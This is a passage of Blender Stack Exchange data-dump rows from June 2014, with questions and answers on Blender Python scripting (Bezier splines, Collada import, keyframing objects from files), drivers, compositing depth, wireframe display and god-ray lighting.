  <row Id="12199" PostTypeId="2" ParentId="12188" CreationDate="2014-06-13T10:06:58.340" Score="0" Body="&lt;p&gt;Instead of writing complete meshes you could use the first file to create the objects and set them to their initial position.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ball.1=1,2,3&#xA;Ball.2=3,4,5&#xA;Ball.3=3,3,3.5&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Blender you would read this file line by line get the objects name and create a sphere by invoking:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_uv_sphere_add(size=1, view_align=False, enter_editmode=False, location=( X, Y, Z from file))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following files could then simply have the names and the offset relative to the previous frame. The object are identified by their names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ball.1=.1,.1,.2&#xA;Ball.2=-.1,-.1,.3&#xA;Ball.3=.1,.2,.5&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which could be parsed with something like this (Note: the code wasn't tested it was just assembled from snippets I already created):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for frame in range(0,10):&#xA;&#xA;    filename='balls' + str( frame )&#xA;    for line in open(filename):&#xA;        line=line.rstrip(&quot;\n&quot;)&#xA;        obj,pos=obj_key.split(&quot;=&quot;)&#xA;        x,y,z=pos.split(&quot;,&quot;)   &#xA;        bpy.context.scene.frame_set( int( frame )) # frame from file name or loop variable&#xA;        bpy.context.scene.objects.active = bpy.data.objects[ obj ]&#xA;        bpy.ops.transform.translate(value=( float( x ), float( y ), float( z )))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add a keyframe for changed object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.anim.keyframe_insert(type='BUILTIN_KSI_LocRot')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/12188/create-a-file-that-contains-object-and-movement-data-that-can-be-imported-to-b&quot;&gt;Create a file that contains object *and* movement data that can be imported to Blender&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10523/many-models-sharing-the-same-animation-sequence/10528#10528&quot;&gt;Many models sharing the same animation sequence?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-06-13T10:06:58.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostTypeId="2" ParentId="12141" CreationDate="2014-06-13T10:25:48.317" Score="1" Body="&lt;p&gt;That sounds like a job for a driver. Remove the constraint on Cube.002, right click on it's Y location value and select Add Single Driver. The Y value will then be filled with purple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You edit the driver value in the graph editor with it's mode set to Drivers. More info on editing drivers is available in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to use the Z rotation of Cube.001, displaying the debug value shows that it varies from -180 to 180. You want to ignore the negative part of the value so &lt;code&gt;abs(var)&lt;/code&gt; will remove that, then divide that by 180 and multiply it to get a larger range of movement. That leaves you with a calculation of &lt;code&gt;(abs(var)/180)*100&lt;/code&gt;. Changing the 100 used will change the distance Cube.002 moves. You can add a value at the end to move the range of movement away from 0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QhA1B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-13T10:25:48.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12201" PostTypeId="1" AcceptedAnswerId="12203" CreationDate="2014-06-13T14:52:15.677" Score="4" ViewCount="1896" Body="&lt;p&gt;I have a list of points, and want to add a Bezier-spline using these points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;name = &quot;MyCurve&quot;&#xA;numPoints = 4&#xA;points = [ [1,1,1], [-1,1,1], [-1,-1,1], [1,-1,-1] ]&#xA;&#xA;curvedata = bpy.data.curves.new(name=name,type='CURVE')&#xA;curvedata.dimensions = '3D'&#xA;curvedata.fill_mode = 'FULL'&#xA;curvedata.bevel_depth = 0.045     &#xA;&#xA;ob = bpy.data.objects.new(name+&quot;Obj&quot;, curvedata)&#xA;bpy.context.scene.objects.link(ob)&#xA;&#xA;polyline = curvedata.splines.new('BEZIER')&#xA;polyline.bezier_points.add(numPoints)&#xA;for num in range(numPoints):&#xA;    polyline.bezier_points[num].co = points[num]&#xA;polyline.resolution_u = 1&#xA;&#xA;print( len(polyline.bezier_points))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now my problem is, that this code adds another point. The printed value will be &lt;code&gt;5&lt;/code&gt; not as I expected &lt;code&gt;4&lt;/code&gt;. The added point is after the other points and is the point &lt;code&gt;(0, 0, 0)&lt;/code&gt;. This is unwanted behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with my code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Blender version is 2.70 built 2014-03-19.&lt;/p&gt;&#xA;" OwnerUserId="3394" LastEditorUserId="1363" LastEditDate="2014-06-13T15:33:46.883" LastActivityDate="2014-06-13T22:20:47.157" Title="Bezier-Spline with Python adds unwanted point" Tags="&lt;python&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12202" PostTypeId="2" ParentId="12197" CreationDate="2014-06-13T15:00:03.407" Score="2" Body="&lt;p&gt;Looks like there's a program called Photosculpt that does what you want. &lt;a href=&quot;http://photosculpt.net/&quot; rel=&quot;nofollow&quot;&gt;Here's&lt;/a&gt; a link to their site. And &lt;a href=&quot;https://www.youtube.com/watch?v=Z0jt9z6xPMk&quot; rel=&quot;nofollow&quot;&gt;here's&lt;/a&gt; a Youtube video of their software in action. There's a free trial and several price points, the cheapest of which is 139 Euros for an individual license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you give it two photos of the same thing from slightly different angles and it spits out actual geometry as well as a normal map.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-13T15:00:03.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12203" PostTypeId="2" ParentId="12201" CreationDate="2014-06-13T15:32:33.613" Score="7" Body="&lt;p&gt;A new splines starts with a single point, it is not empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;curvedata = bpy.data.curves.new(name=&quot;Curve&quot;, type='CURVE')&#xA;ob = bpy.data.objects.new(&quot;CurveObj&quot;, curvedata)&#xA;bpy.context.scene.objects.link(ob)&#xA;&#xA;spline = curvedata.splines.new('BEZIER')&#xA;print(len(spline.bezier_points))&#xA;# Output: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bezier spline has already a point, so you need to&lt;br&gt;&#xA;&lt;code&gt;.add()&lt;/code&gt; number of points you want to add minus 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;polyline.bezier_points.add(len(points)-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way - you can assign the coordinates more efficiently like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy_extras.io_utils import unpack_list&#xA;# ...&#xA;polyline.bezier_points.foreach_set(&quot;co&quot;, unpack_list(points))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1112" LastEditDate="2014-06-13T22:20:47.157" LastActivityDate="2014-06-13T22:20:47.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12204" PostTypeId="1" CreationDate="2014-06-13T15:36:02.460" Score="0" ViewCount="544" Body="&lt;p&gt;Blender shows the python command in the tooltip, for example, hover the mouse over &lt;em&gt;File &gt; Import &gt; Collada (Default) (.dae)&lt;/em&gt;, it shows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Load a Collada file&#xA;  Python: &lt;code&gt;bpy.ops.wm.collada_import()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then I can find the &lt;code&gt;bpy.ops.wm.collada_import()&lt;/code&gt; command in the script console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set the &lt;strong&gt;Import Units&lt;/strong&gt; to &lt;code&gt;True&lt;/code&gt; before I import the collada file, hover the mouse over the ticker it says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Python: &lt;code&gt;WM_OT_collada_import.import_units&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I can't find any clue on how to use this piece of code.&lt;/p&gt;&#xA;" OwnerUserId="4825" LastEditorUserId="1363" LastEditDate="2014-06-13T15:40:03.993" LastActivityDate="2014-10-11T18:22:48.253" Title="How to set Import Units when importing a collada file with python script?" Tags="&lt;python&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12205" PostTypeId="1" CreationDate="2014-06-13T15:54:06.793" Score="1" ViewCount="188" Body="&lt;p&gt;For a 3D rendering of an organ, I would like to make part of it a transparent wireframe so the contents become visible (similar to this &lt;a href=&quot;http://us.123rf.com/400wm/400/400/sahua/sahua0804/sahua080400036/2894308-cyber-apple-with-wireframe-all-is-editable-it-isn-t-mesh.jpg&quot; rel=&quot;nofollow&quot;&gt;image&lt;/a&gt;, only I would like to have a much smaller area as the transparent wireframe). Could anyone point me to a tutorial, our explain me a bit how to approach this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4826" LastActivityDate="2014-07-13T20:26:19.910" Title="How to create a material that is part solid, part transparent wireframe?" Tags="&lt;materials&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2014-08-12T05:52:11.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="12206" PostTypeId="2" ParentId="12204" CreationDate="2014-06-13T15:58:06.903" Score="1" Body="&lt;p&gt;&lt;code&gt;WM_OT_collada_import&lt;/code&gt; is the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/info_overview.html#class-registration&quot; rel=&quot;nofollow&quot;&gt;bl_idname&lt;/a&gt; of the Collada Import Operator in the C-code notation (in Python it's wm.collada_import, but the importer is a C operator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import_units&lt;/code&gt; is an &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.props.html#operator-example&quot; rel=&quot;nofollow&quot;&gt;operator property&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set this property to &lt;code&gt;True&lt;/code&gt; in an operator call, give it a keyword-argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.collada_import(filepath=..., import_units=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-13T15:58:06.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12209" PostTypeId="1" AcceptedAnswerId="12212" CreationDate="2014-06-13T17:06:45.783" Score="6" ViewCount="2745" Body="&lt;p&gt;&lt;a href=&quot;http://www.maxwellrender.com/V3/feature/deepcompositing&quot;&gt;Maxwell Render explanation of deep render and showcase of it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering, can Blender do &quot;Deep&quot; rendering to EXR, where an EXR file has 3D depth to it? If you go to &lt;code&gt;1:50&lt;/code&gt; of the video you will see what deep rendering is in it's full awesomeness.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2014-06-13T19:12:21.940" LastActivityDate="2016-06-11T17:07:46.117" Title="Can blender do &quot;deep compositing&quot;?" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12210" PostTypeId="2" ParentId="12205" CreationDate="2014-06-13T17:43:18.577" Score="0" Body="&lt;p&gt;In Blender Internal render engine, you can use Freestyle. To enable freestyle - Go to the render panel and click freestyle - &lt;img src=&quot;https://i.stack.imgur.com/rM58f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to edit mode, select the edges that you want to render and press &quot;Crtl+E&quot;&#xA;and click &quot;mark freestyle edge&quot;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JbSr5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to &quot;Render Layers&quot;, click on the Line set that should be automaticly created and click only on &quot;edge mark&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L7QUL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the tab &quot;freestyle line style&quot;, you have options for the lines.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CczEL.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Then you can click on render.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MVt2v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-13T20:24:02.790" LastActivityDate="2014-06-13T20:24:02.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12211" PostTypeId="1" AcceptedAnswerId="12254" CreationDate="2014-06-13T18:58:06.623" Score="7" ViewCount="6253" Body="&lt;p&gt;So, I've been using Blender for several years, including a fair amount of animation, and in the past it's always been useful to align an object with its local coords. I.e. having the y-axis pointing down the nose of an airplane makes it much easier to animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I recently noticed that the keyframes aren't recorded in local coordinates (anymore?), but in global coordinates. This makes animating off-axis rotation very difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the rotation mode doesn't seem to help (Euler, quaternion, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I can't upload any examples because the project is proprietary, and I don't really have time to setup another animation, but the example goes something like this: I want to animate a record rotating in a record player, but the player is not sitting flat, it's tilted at an angle. Normally, this wouldn't be a problem. Just model the record with z up, and you can tilt the record at whatever angle you need so that it sits on the tilted player, and still rotate the record around its own z-axis, right? Unfortunately, this is not what's happening. Instead, I animate it rotating 180d twice and it wobbles all over the place because it's interpolating global coordinates, not local coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's a demo afterall: &lt;a href=&quot;https://www.youtube.com/watch?v=nimTjEYwcnE&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=nimTjEYwcnE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It maybe a little hard to see because it's so fast, but the second time I animate the cube, it wobbles instead of rotating around its own z-axis like I expect it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone know what magic button I pressed that did this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I just crazy and remembering something that has never been possible? It's happened before...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: In fact, I KNOW this has worked before, cuz I just went back and looked at some old stuff, and I know I animated using the local coordinates then... I'm gonna go see if 2.70 behaves differently from 2.70a...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Nope, 2.70 behaves the same way.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-06-13T21:14:52.397" LastActivityDate="2014-06-15T15:33:00.997" Title="Why are keyframes in global coords, instead of local coords? (Blender 2.70a)" Tags="&lt;animation&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12212" PostTypeId="2" ParentId="12209" CreationDate="2014-06-13T19:10:22.857" Score="6" Body="&lt;p&gt;You can get depth information and use it the compositor (e.g. with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Color#Z-Combine_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z combine node&lt;/a&gt;) or put it in an EXR layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is no support currently for true deep compositing, which allows for transparency and compositing tricky things such as a motion blurred object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see it on any of the todos, however it's being &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2014-May/001944.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mentioned&lt;/a&gt; in the mailing lists a bit, so it's hopefully only a matter of time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If all you need is depth information, then it's currently possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Z output contains depth information. It appears white since most of it's values are greater than 1. To view it, you need to map it's range to the 0-1 range, so you can use a &lt;em&gt;Map range&lt;/em&gt; node or a &lt;em&gt;Normalize&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mfeRr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to put it in an EXR, enable &lt;em&gt;Z buffer&lt;/em&gt; in &lt;em&gt;Render settings &gt; Output&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3A39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this with the Z combine node, which combines images based on Z depth values. For example, with two renderlayers (one with a sphere and one with some random objects), I can render them separately and then combine them almost as if I rendered them as one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7LE4w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LE4w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-13T19:41:07.357" LastActivityDate="2014-06-13T19:41:07.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12213" PostTypeId="1" AcceptedAnswerId="12214" CreationDate="2014-06-13T19:22:47.880" Score="3" ViewCount="3806" Body="&lt;p&gt;I have positioned blocks as a rough draft of the area I plan to build.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this with the high-poly models and high-res textures but I have to replace them all with the low-poly, low-res version of the basic building block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now, I have to duplicate the low-poly many times and move them all into place and I would like to use the high-poly scene as a guide for rotating and placing the new assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it will be very difficult to do this if they are all shaded and the same problem will happen if they are all in wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to select all the objects from the high-poly scene and change the view for them to be wireframe without having to do each object separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt;, a menu will pop-up that allows us to transfer attributes to several models all at once so my question is this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we do something similar with the Draw Mode setting in the Object Properties? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwZaL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="599" LastEditDate="2014-06-13T19:48:55.507" LastActivityDate="2014-06-13T19:49:19.257" Title="Set all selected objects to be displayed as wireframe" Tags="&lt;workflow&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12214" PostTypeId="2" ParentId="12213" CreationDate="2014-06-13T19:43:36.690" Score="9" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select them all and set the &lt;em&gt;Max draw type&lt;/em&gt; to wire.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click on the max draw type menu and select &lt;em&gt;Copy to selected.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQqu4.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This works for many buttons and settings across blender.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-13T19:49:19.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12215" PostTypeId="1" AcceptedAnswerId="12256" CreationDate="2014-06-13T19:52:52.030" Score="3" ViewCount="575" Body="&lt;p&gt;I have created a model in blender in which I wish to use in my openGL application.  Before exporting I expected the obj file to look something similar to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jkXvC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jkXvC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I exported the file I got something like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8EYE6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8EYE6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to ponder on whether I had exported it wrong or not, as this is the first time I have used blender.  I am currently using blender version 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4830" LastEditorUserId="241" LastEditDate="2020-06-26T13:48:17.083" LastActivityDate="2020-06-26T13:48:17.083" Title="Why does the exported obj look wrong?" Tags="&lt;export&gt;&lt;file-format&gt;&lt;obj&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostTypeId="1" AcceptedAnswerId="12217" CreationDate="2014-06-13T20:28:26.823" Score="9" ViewCount="305" Body="&lt;p&gt;Many tools can have their settings modified after activating them (via the toolbar or F6 popup), however some tools have this panel greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ctrl+Click Extrude.&lt;/li&gt;&#xA;&lt;li&gt;Editmesh rip tool.&lt;/li&gt;&#xA;&lt;li&gt;Bend transform.&lt;/li&gt;&#xA;&lt;li&gt;Knife.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this a bug in the tool, whats the reason for this limitation?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-14T06:39:09.840" Title="Why do only some tools have redo capability?" Tags="&lt;interface&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12217" PostTypeId="2" ParentId="12216" CreationDate="2014-06-13T20:39:56.440" Score="9" Body="&lt;p&gt;First of all there are cases where redo doesn't make any sense (render, save, open), in those cases simply running the operator again is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operators have their own internal data which is used to execute an action, in most cases this is sufficient to store all information needed to redo an action (make use of the F6 popup, or be called from a Python script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But consider the knife tool for example, can have the view manipulated as its accessed, so the tool would need to store the viewport orientation of every line added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is possible of course (in principle), the benefit of adding this is limited since these tools are &lt;strong&gt;intended&lt;/strong&gt; to be accessed interactively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example is the rip tool, which will give different results based on where you're cursor is in relation to the selected vertices. Its also possible to simple store the mouse location and re-use that, but its unlikely to be very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are cases such as bend transform which could be made to redo, but depend on the view orientation, 3d cursor to define a line to the mouse and the distance the mouse moves once the tool is activated. Manipulating these values only-via buttons is possible but would end up being an nonintuitive matrix of buttons. Such settings would be better manipulated via an adjustable on-screen widget however blender currently doesn't have such facilities.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-14T06:39:09.840" LastActivityDate="2014-06-14T06:39:09.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12218" PostTypeId="1" CreationDate="2014-06-13T23:52:57.410" Score="13" ViewCount="23090" Body="&lt;p&gt;I was working on a something and I thought, wouldn't sunbeams look great with this.&lt;br&gt;&#xA;So I searched in google and everywhere but didn't find any answer. So my question is how to make sunbeams in blender?&lt;/p&gt;&#xA;" OwnerUserId="2148" LastEditorUserId="2217" LastEditDate="2014-08-21T13:44:36.933" LastActivityDate="2021-05-21T16:30:38.067" Title="How to make sunbeams in blender?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12219" PostTypeId="1" AcceptedAnswerId="12222" CreationDate="2014-06-14T00:02:15.907" Score="9" ViewCount="11588" Body="&lt;p&gt;How to create triangular pyramid with equal length of edges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xTu6z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - I'm not looking for a way to create one with a single click, but I want to be able to model one from scratch.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-14T00:58:09.097" LastActivityDate="2019-08-03T16:03:46.620" Title="How to model an equilateral triangular pyramid?" Tags="&lt;modeling&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostTypeId="2" ParentId="12218" CreationDate="2014-06-14T00:30:52.693" Score="16" Body="&lt;p&gt;You probably meant God rays, and googleing that would be a good idea.&lt;/p&gt;&#xA;&lt;h1&gt;In Blender Internal:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt;&#xA;Add a spot light (Shift-A&amp;gt;Lamp&amp;gt;Spot)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Check Halo&lt;/p&gt;&#xA;&lt;p&gt;Intensity will effect how strong your God Rays are, step will remove any banding, you will&#xA;what to set the step to at least 8, otherwise this effect will not work properly.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HUzBl.png&quot; alt=&quot;image 1&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt;&#xA;As you may have noticed, you have one solid ray, which doesn't look very nice.&#xA;to fix this, you will need to make a stencil for the light.&#xA;To do this, add a plane.&#xA;Subdivide it(W&amp;gt;Subdivide&amp;gt;F6)&#xA;It the menu that pops up set the cuts to five.&#xA;hit (Shift-R)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 3.5:&lt;/strong&gt;&#xA;We will now cut holes in our stencil.&lt;/p&gt;&#xA;&lt;p&gt;Hit C to activate brush select.&#xA;select a random pattern on your plane as such:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01h7Q.png&quot; alt=&quot;Pattern&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hit X. Your stencil now has holes in it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Move the stencil close to the top of the stop light's cone as such:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ZOBz.png&quot; alt=&quot;Cone&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your God Rays are now ready to Render.&lt;/p&gt;&#xA;&lt;h1&gt;In Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;Complete Steps 1, 3, 3.5, and 4 form the previous 